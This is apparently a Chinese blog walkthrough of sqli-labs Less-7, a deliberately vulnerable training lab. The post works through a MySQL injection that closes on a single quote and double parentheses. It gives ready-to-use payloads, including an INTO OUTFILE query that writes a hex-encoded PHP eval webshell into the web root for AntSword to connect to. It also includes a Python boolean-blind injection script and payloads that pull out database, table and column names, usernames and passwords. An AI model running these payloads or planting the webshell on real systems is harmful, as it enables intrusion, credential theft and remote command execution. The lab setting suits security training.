首页 > 其他分享 >lesson7单引号+双括号布尔盲注或一句话木马+蚁剑

lesson7单引号+双括号布尔盲注或一句话木马+蚁剑

时间:2024-03-19 18:13:34浏览次数:29  
标签:lesson7 单引号 payload length --+ 盲注 id select schema

lesson7单引号+双括号布尔盲注或一句话木马+蚁剑

6QMBWMC_gKlMbgbJjT1SjzErHXbHvUU9Aa7uHSpxT3M

1.验证注入点

从下面的注入测试来看,只有两种输出结果

如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax”

?id=1 --+   --You are in.... Use outfile......
?id=1' --+  -- You have an error in your SQL syntax
?id=-1' --+ --You have an error in your SQL syntax
?id=1\ --+  --You are in.... Use outfile......

查看是否存在双引号注入

正常输出,说明有执行,存在双引号注入

?id=1"  --+ -- You are in.... Use outfile......

查看是否存在闭合特殊符号

?id=1' and 1=1--+  -- 报错,sql没有执行,存在闭合
?id=1') and 1=1--+  --报错,还有一个闭合
?id=1')) and 1=1--+  -- 正常输出

推测注入点:单引号+两个括号闭合

看一下源码,确定是双括号+单引号注入

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

构建个playload

?id=1')) --+ 

O6wWl4A8bAFJjMBWFQ65mRtGwBM9FRfPK90jg3bjQxw

2.爆字段个数

id=1')) order by 4--+

到4报错,说明有三个字段

bsDQlCJCcJgsvJ2tnJcQLhTmr9IsUi7n2kcwmeXtVHg

这里有两种方法

一、

3.找绝对路径

由于要得到网站的绝对路径,这里用靶场第二关来获得绝对路径。@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径。如果自己知道路径可以直接跳下一步。

?id=-1 union select 1,@@basedir,@@datadir --+

A6KUGzFq6qawU3CsnVV395rDP9rahTGtnbsP9_02GNU

yovsJ6UjnCH-NzcMGYcFQeYfaa9HTrXiMM-EaOEjW38

所以绝对路径是C:/phpstudy_pro/www/sqli-labs/less-7/

4.用into outfile函数写入一句话木马

注入语句为

?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "C:/phpstudy_pro/www/sqli-labs/less-7/shell.php" --+

如果是自己服务器,记得把secure-file-priv选项加上

f8idkZ7_BiRILoFtXzgmHyiowdpqPKYXhsPoPOUGfYo

GHWx60vX5GEXVf52Vc35f4d5ls4SCFe-5V_WTBcE_GU

注入连接成功

n4U2KQtnKlWyQNYvZ4z3t9fVp0HfYq-sHzJxWcOhXbg

二、

3.判断数据库长度

判断当前使用的数据库名长度是否大于1(肯定大于),地址栏输入:

?id=1')) and length(database()) > 1 --+

判断成立,页面正常显示

4.判断字符

判断数据库名第一个字符的ascll码是否大于1(肯定大于),地址栏输入:

?id=1')) and ascii(substr((database()),1,1)) >1 --+

判断成立,页面正常显示

5.通过脚本进行攻击

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://xxxx/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	(select group_concat(schema_name)
	from information_schema.schemata)
) ={n} --+"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(
  substr(
    (select group_concat(schema_name)
     from information_schema.schemata
	),{n},1)
) ={r} --+"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in....' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # print('我正在猜解', n)
            # 页面中出现此内容则表示成功
            if 'You are in....' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

8xtlmaHCCEhqDuos720fCRWExUQlItYZdSpF7lsAaRQ

1L42g5gR8XGD624kMkxQ6P7MMl75sc4uNh3E_u2pC-E

获取 security 库的所有表

判断长度 payload:

?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))={n}--+

判断字符payload:

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),{n},1))={r}--+

5N17iLNE1fYNem4tUK4VK2K1OiM1sMA0H63MTHDealM

gip4STaW0zDIyYdsM2ObaIarPVF4JfKcUktC2CGxCC4

获取 users 表的所有字段

判断长度 payload:

?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))={n}--+

判断字符 payload:

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),{n},1))={r}--+

5SnRnuemxqOZ4sbEt93-hKwg3E7MqNJ_KJiP1kMwcJE

kvQQ9l6o4EpEcWMlzaFg6BpdGeWrdZp5HKjQlz52Oc8

获取username的所有值

判断长度 payload:

?id=1')) and length((select group_concat(username) from users))={n}--+

-dL912hIXjLVT8MS8lxFLKskzjzc8CJ1NNbrvZMfoAo

判断字符 payload:

?id=1')) and ascii(substr((select group_concat(username) from users),{n},1))={r}--+

8Wq70laiFqn20BxU-rAdjkqbPFI5XRZd1pgDFQMxV20

获取username的所有值

判断长度 payload:

?id=1')) and length((select group_concat(password) from users))={n}--+

0jKesuEPvwBVjvqA6EgVecIGx3PACtqVrkd0-zCSdIs

判断字符 payload:

?id=1')) and ascii(substr((select group_concat(password) from users),{n},1))={r}--+

TUAVx3SoW8xioTRPye6Dm3Et4Pa6Auj6_5Xs3dQeTvU

标签:lesson7,单引号,payload,length,--+,盲注,id,select,schema
From: https://www.cnblogs.com/fishjumpriver/p/18083599

相关文章

  • sql注入——盲注
    盲注分为两类:布尔盲注:字面意思,只有对和错两种,执行注入的sql语句后,页面看不到别的内容,只能看到页面的两种变化,一种是执行没出问题的页面,一种是执行错误的页面时间盲注:时间盲注在执行注入的sql语句后,无论有没有问题,他的页面始终不变 这里介绍几个函数:Length()函数用来识别......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注
    页面打开如上获取到信息flag在flag表中的flag列中尝试注入发现对用户的输入进行了限制使用burp进行fuzz测试其中535代表该页面对该条件进行了过滤其中括号并没有被过滤所以可以利用括号来代替空格进行盲注已知f的ascii码为102构筑等式(select(ascii(mid(flag,1,1)......
  • 解决Prettier格式化使得''单引号自动变为""双引号 / 末尾是否加分号
    1.问题1.单引号/双引号选择问题在编写JavaScript程序过程中,代码规范要求使用''单引号引起字符串等等值,但是由于Prettier默认是双引号,导致不规范2.末尾是否加分号取决于个人采用的规范,我这里是选择加上分号;2.解决都是在setting.json中进行修改,如何打开它呢我们在设置中的......
  • DVWA-SQL Injection(Blind) SQL盲注
    一般的sql注入是当提交完成后,会将sql的执行结果直接显示在页面或响应信息中。而sql盲注是提交完请求后,不管是执行成功还是失败,都无法直接知道执行结果。只能根据返回的信息来判断。sql盲注常用函数:if()语法格式:if(expr1,expr2,expr3)功能:Expr1为true则返回expr2,expr1为fals......
  • 用Pycharm把浏览器复制出来的headers/参数给字段和值分别加单引号
    要解决的问题:从浏览器复制出来的headers/参数样式User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/121.0.0.0Safari/537.36Referer: https://www.google.com.hk/ 想要在Python中能用,需要改成字典的样式,给每个......
  • SQL时间盲注
    由于页面无法返回正确或错误的值,所以只能通过if加sleep函数解决问题函数:sleep(N)函数即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)if()函数​if(a,b,c),如果a的值为true,则返回b的值,如果a的值为fa......
  • SQL布尔盲注
    看不到回显时使用盲注布尔盲注在进行SQL注入时,web页面仅返回True和False布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息函数substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是......
  • linux 如何删掉一些特殊字符的文件夹,比如带有空格,单引号,双引号的
    在Linux中删除包含特殊字符(如空格、单引号、双引号)的文件夹,你需要使用转义字符或引号来正确地指定文件夹名。以下是一些常用方法:使用反斜杠(\)转义特殊字符:如果文件夹名包含空格,比如MyFolder,你可以使用\来转义空格:rm-rMy\Folder/对于包含单引号或双引号的文件夹,同样......
  • 5.布尔盲注
    原理 有一种界面,像这种不会把数据体现在表面的界面   这种一点都看不出来有没有可控变量的页面,看不出来能不能用正常的字符型SQL注入或数字型SQL注入破解,所以,这时候要换个思路  布尔型盲注盲注判断    字符型判断看几次字符型的返回结......
  • sql布尔盲注脚本
    数据库长度fromrequestsimport*r=session()url='http://124.70.71.251:40332/new_list.php?id=1andlength(database())='foriinrange(20):url1=url+str(i)re=r.get(url1)if"2018"inre.text:print(i)数据库名称fromr......